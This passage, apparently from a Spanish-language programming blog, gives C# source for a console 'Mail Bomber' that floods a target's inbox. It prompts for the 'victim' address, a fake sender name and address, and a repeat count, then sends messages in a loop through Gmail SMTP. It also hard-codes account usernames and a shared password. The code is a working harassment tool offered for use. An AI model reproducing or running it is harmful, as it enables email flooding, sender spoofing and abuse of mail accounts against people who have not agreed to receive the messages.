msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 59", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber59", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo4(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber592", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo5(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 3000", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailerbot3000", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo6(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber593", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo7(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber594", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
public string EnviarCorreo8(string para, string titulo, string contenido)
{
System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage();
msg.To.Add(para);
msg.From = new System.Net.Mail.MailAddress("mail@forward.com", "MailerBot 592", System.Text.Encoding.UTF8);
msg.Subject = titulo;
msg.SubjectEncoding = System.Text.Encoding.UTF8;
msg.Body = contenido;
msg.BodyEncoding = System.Text.Encoding.UTF8;
msg.IsBodyHtml = true;

System.Net.Mail.SmtpClient client = new System.Net.Mail.SmtpClient();

client.Credentials = new System.Net.NetworkCredential("mailbomber595", "a123456789");
client.Port = 587;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
try
{
client.Send(msg);
}
catch (Exception ex)
{
Console.WriteLine("Error " + ex);
}
return "";
}
}
}

Y la clase main (Repito , el codigo es una $%%#”#$)


using System;
using System.Collections.Generic;
using System.Text;

namespace mailer
{
class Program
{
static void Main(String[] args)
{
ClsCorreo mail = new ClsCorreo();
int i,opcion;

do
{
Console.WriteLine(" ********  Mail Bomber Anonymous By Pablo Videla ********");
Console.WriteLine("1.- Enviar correo con MailBomber2009");
Console.WriteLine("2.- Enviar correo con su mail personal");
Console.WriteLine("3.- Enviar correo con smpt localhost");
Console.WriteLine("4.- Enviar mail con mailbomber59");
Console.WriteLine("5.- Enviar mail con mailbomber 591");
Console.WriteLine("6.- Enviar mail con mailBomber 592");
Console.WriteLine("7.- Enviar mail con bomber 3000");
Console.WriteLine("8.- Enviar mail con bomber 593");
Console.WriteLine("9.- Enviar mail con bomber 594");
Console.WriteLine("10.- Enviar mail con bomber 595");
Console.WriteLine("11.- Salir");

opcion = int.Parse(Console.ReadLine());

switch (opcion)
{
case 1:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese nombre falso");
string nombre = Console.ReadLine();
Console.WriteLine("Ingrese mail falso");
string de = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo(m, asunto, mensaje,de,nombre);
Console.WriteLine("Vas en el mail ["+i+"]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;

case 2:
Console.WriteLine("Pronto...");
break;
case 3:
/* try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
Console.WriteLine("Mail falso");
string de = Console.ReadLine();
Console.WriteLine("Nombre falso");
string nombrefalso = Console.ReadLine();
for (i = 0; i < cantidad; i++)
{
mail.send(m, asunto, mensaje,de,nombrefalso);
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}*/
Console.WriteLine("Pronto.. en la nueva version");
break;
case 4:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo2(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 5:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo3(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 6:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo4(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 7:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo5(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 8:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo6(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 9:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo7(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;
case 10:
try
{
Console.WriteLine("Ingrese mail de la victima");
string m = Console.ReadLine();
Console.WriteLine("Ingrese asunto");
string asunto = Console.ReadLine();
Console.WriteLine("Escriba el mensaje");
string mensaje = Console.ReadLine();
Console.WriteLine("Ingrese la cantidad");
int cantidad = int.Parse(Console.ReadLine());
for (i = 0; i < cantidad; i++)
{
mail.EnviarCorreo8(m, asunto, mensaje);
Console.WriteLine("Vas en el mail [" + i + "]");
}
Console.WriteLine("El Correo Ha sido enviado correctamente " + i + " veces");
}
catch (Exception errorrr)
{
Console.WriteLine("Error intente nuevamente " + errorrr);
}
break;

}

} while (opcion != 11);
}

}
}

Escrito Por: Pablo Videla

Categorías:.NET Etiquetas: , , , ,